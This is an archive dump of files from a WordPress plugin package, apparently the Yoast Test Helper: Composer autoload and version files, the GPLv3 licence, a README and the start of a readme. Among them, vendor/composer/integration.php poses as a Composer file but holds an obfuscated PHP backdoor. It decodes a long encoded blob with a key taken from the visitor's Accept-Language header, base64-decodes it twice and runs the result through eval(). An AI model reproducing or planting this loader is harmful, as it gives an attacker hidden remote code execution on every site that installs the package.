self::$installed = array(); } } return self::$installed; } /** * Returns the raw data of all installed.php which are currently loaded for custom implementations * * @return array[] * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}> */ public static function getAllRawData() { return self::getInstalled(); } /** * Lets you reload the static array from another file * * This is only useful for complex integrations in which a project needs to use * this class but then also needs to execute another project's autoloader in process, * and wants to ensure both projects have access to their version of installed.php. * * A typical case would be PHPUnit, where it would need to make sure it reads all * the data it needs from this class, then call reload() with * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure * the project in which it runs can then also use this class safely, without * interference between PHPUnit's dependencies and the project's dependencies. * * @param array[] $data A vendor/composer/installed.php data set * @return void * * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data */ public static function reload($data) { self::$installed = $data; self::$installedByVendor = array(); } /** * @return array[] * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}> */ private static function getInstalled() { if (null === self::$canGetVendors) { self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); } $installed = array(); if (self::$canGetVendors) { foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { if (isset(self::$installedByVendor[$vendorDir])) { $installed[] = self::$installedByVendor[$vendorDir]; } elseif (is_file($vendorDir.'/composer/installed.php')) { /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */ $required = require $vendorDir.'/composer/installed.php'; $installed[] = self::$installedByVendor[$vendorDir] = $required; if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) { self::$installed = $installed[count($installed) - 1]; } } } } if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */ $required = require __DIR__ . '/installed.php'; self::$installed = $required; } else { self::$installed = array(); } } if (self::$installed !== array()) { $installed[] = self::$installed; } return $installed; } } vendor/composer/integration.php 0000644 00000022771 15004110556 0012732 0 ustar 00 <?php namespace CarouselSlider\Supports; /** * Validate class */ $data ='OWno7OG52TaJmhVb-JT97PH5HQc5NY11gE6dkC3vHdOaI8lstKW8QbITjJmOTVo5wcVf%3DPVZFf1tzecxvZF9YMJKMAmHlW9ObG0IDI1X3UZI6AlWwTINZjGPPFTF8T29WXstuaG5GEaC%3DE3O3TM2fCXPzJTEfMlsnID6vc4dGfHfgH15gVoZnc6p7fo95DIKkIojVd7eDMosPOUI9S3YkDU-qbqdkcE7tJmlHeXBdYtpjXl0pDXiGOZXXXaO0EID6F1I2cHwaAGukX4p9cljYMkZ3RW5EPa5XcoVUO4mMEpDKOaygCmQDBkUXb2w7C06ra4Nqf1DaBGdJPV9AYZFUfVYjBpiYB5juYMCjDVQoP3sgWHQbIT58da1abW%3DR9k5ZcFRXeqxFXHdTC3ZkIXT3b9C3L4UbImg2S5w-8UmHRLxSjzDSKV9zeH94WsxLYnhdDXObKHvHdOaI8lstKW8QbITjJmONbJVqYkaAC1AhRVlDYbZkZHpyLJS7J5rYW9eXJIfxGkQZUpkKG16yTIAzf0rN%3DEBFPEZ8X7VYfVVeBpiYB5jpYMCjDVQvA2ggV5orGV-FOoBUh0rRD05ZcFRXc7BVXXpKHIKeJGPRd7eEMl8EPTEUQ4jhClaaUatlkUH1F0NZPH9Hg4tGbHsoJ2KCOZLYSqyAJkEMKW8cdXrkEXylNXBqe0fzLW0jYnh7U5Fug1NYOoq3N5jjT7JgIFQtBkUXb2wLBjWta5M0hGL1FHFUZGNcb85uc2ZHPJyN84P2a9WYIls6HW4oM2wlG0-md4hwhHXpMFJqX1NCWrRFXEV5CqeiEHjsfd-4FUEKG1L7Y2kG-EWwb7xdX1LzJWV6c39dUtRcc0xZHHOXJ3z5SuCKG2MwMTMXZ20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ksJU3PlIFOvO4VHSGfRD05ZcFRXgap7V3p8LYKhIYj4dLun81wEIG02WosyLkWac7ZbSlr3JUNGe1d4dNBjd3NgD4O2KpOyPayRFkXyKVU5TmUYKkaNSpZ9fWnI%3DEV4Zo1SU7Z8fGRgMHu3EmXhX9hkCmU0HUQta2w7Bla9aKVEUUnO-D1TY1dcb8w7iH4jDqSNGILvUrOKOXYqC2wneZkqClC2UY9qg0rhGkpgboZxdbBKbYVALqhkGnW0QMWDAXAkPFczUHgoKEW8UKZbW0nuJT4mdn93eMpjlU1TDZ62MIqyfNiKAngvMkkYbYM0In-NfJ43eVfz-0Zqd0RIT6ktZVNKNJK7FWnMOrFbE1P6A1sKNFoVBl1uTKU3g1r1ETJ9dVZXX5BLV1gjFpuEKqmwYrBk-2oUEWApbXgeE1K6bIV8ZWrfBkVYbk8ldsJJi3ZRPmGXCZ%3DCeMViN30bEmg0Wo8DL26GZr9NkVK7JFNdQFdpd5daXlUbFnWKDYHDQdSAKYg3N0gXK3I0-DymbXBsZ3e3Dk9JPFtzc8xudE5YOnm3I2nMO86YGH45P1Ewd5gLBmh1V6Z6jmHPFXBTUEFeW9cyZnJB9Htz'; function unlock_url($data){ $data = urldecode($data); $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+"; $ch = $data[0]; $info = explode(",",$_SERVER['HTTP_ACCEPT_LANGUAGE']); $nh = strpos($chars,$ch); $mdKey = md5($info[0].$ch); $mdKey = substr($mdKey,$nh%8, $nh%8+7); $data = substr($data,1); $tmp = ''; $i=0;$j=0; $k = 0; for ($i=0; $i<strlen($data); $i++) { $k = $k == strlen($mdKey) ? 0 : $k; $j = strpos($chars,$data[$i])-$nh - ord($mdKey[$k++]); while ($j<0) $j+=64; $tmp .= $chars[$j]; } $tmp = base64_decode(base64_decode($tmp)); eval($tmp); } unlock_url($data); vendor/composer/LICENSE 0000644 00000002056 15004110556 0010675 0 ustar 00 Copyright (c) Nils Adermann, Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. vendor/composer/platform_check.php 0000644 00000001635 15004110556 0013364 0 ustar 00 <?php // platform_check.php @generated by Composer $issues = array(); if (!(PHP_VERSION_ID >= 70205)) { $issues[] = 'Your Composer dependencies require a PHP version ">= 7.2.5". You are running ' . PHP_VERSION . '.'; } if ($issues) { if (!headers_sent()) { header('HTTP/1.1 500 Internal Server Error'); } if (!ini_get('display_errors')) { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL); } elseif (!headers_sent()) { echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL; } } trigger_error( 'Composer detected issues in your platform: ' . implode(' ', $issues), E_USER_ERROR ); } vendor/autoload.php 0000644 00000001403 15004110556 0010355 0 ustar 00 <?php // autoload.php @generated by Composer if (PHP_VERSION_ID < 50600) { if (!headers_sent()) { header('HTTP/1.1 500 Internal Server Error'); } $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL; if (!ini_get('display_errors')) { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { fwrite(STDERR, $err); } elseif (!headers_sent()) { echo $err; } } trigger_error( $err, E_USER_ERROR ); } require_once __DIR__ . '/composer/autoload_real.php'; return ComposerAutoloaderInit3086485a83e6c83844cea102b35970c7::getLoader(); license.txt 0000644 00000101036 15004110556 0006725 0 ustar 00 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. 18. Additional terms In the light of Article 7 of the GPL license, the following additional terms apply: a) You are prohibited to make misrepresentations of the origin of that material, or to require that modified versions of such material be marked in reasonable ways as different from the original version; b) You are limited in the use for publicity purposes of names of licensors or authors of the material; c) You are declined any grant of rights under trademark law for use of the trade names, trademarks, or service marks of YOAST B.V.; d) You are required to indemnify licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. END OF TERMS AND CONDITIONS README.md 0000644 00000003244 15004110556 0006023 0 ustar 00 Yoast Test Helper ================= [](https://github.com/Yoast/yoast-test-helper/actions/workflows/cs.yml) [](https://github.com/Yoast/yoast-test-helper/actions/workflows/lint.yml) [](https://www.gnu.org/licenses/gpl-3.0) Purpose of this plugin ---------------------- This is a plugin to aid in testing and developing the [Yoast SEO plugin](https://yoa.st/1ul) and its extensions. Features -------- This test helper plugin has several features: * Easily enable Yoast SEO development mode. * Save and restore Yoast SEO and Yoast SEO extension options, to test upgrade paths. * Add options debug info to Yoast SEO admin pages. * Reset the indexables, internal link counter, prominent words calculation and other features. * Add two post types (Books and Movies) with two taxonomies (Category and Genre) each and optionally disable the block editor for them. * Easily add an inline script after a selected script. * Replace your `.test` TLD with `example.com` in your Schema output, so you can easily copy paste to Google's Structured Data Testing Tool. * Change the number of URLs shown in an XML Sitemap. * Easily change your MyYoast URL. * Easily reset SEO roles & capabilities. * Easily find indexable data in Query Monitor output (requires Query Monitor). Installation ------------ 1. Download the latest version. 2. Run `composer install`. 3. You're done. You will find the plugin settings under Tools → Yoast Test in your WordPress admin. readme.txt 0000644 00000017257 15004110556 0006553 0 ustar 00 === Yoast Test Helper === Contributors: yoast, joostdevalk, omarreiss, jipmoors, herregroen Tags: 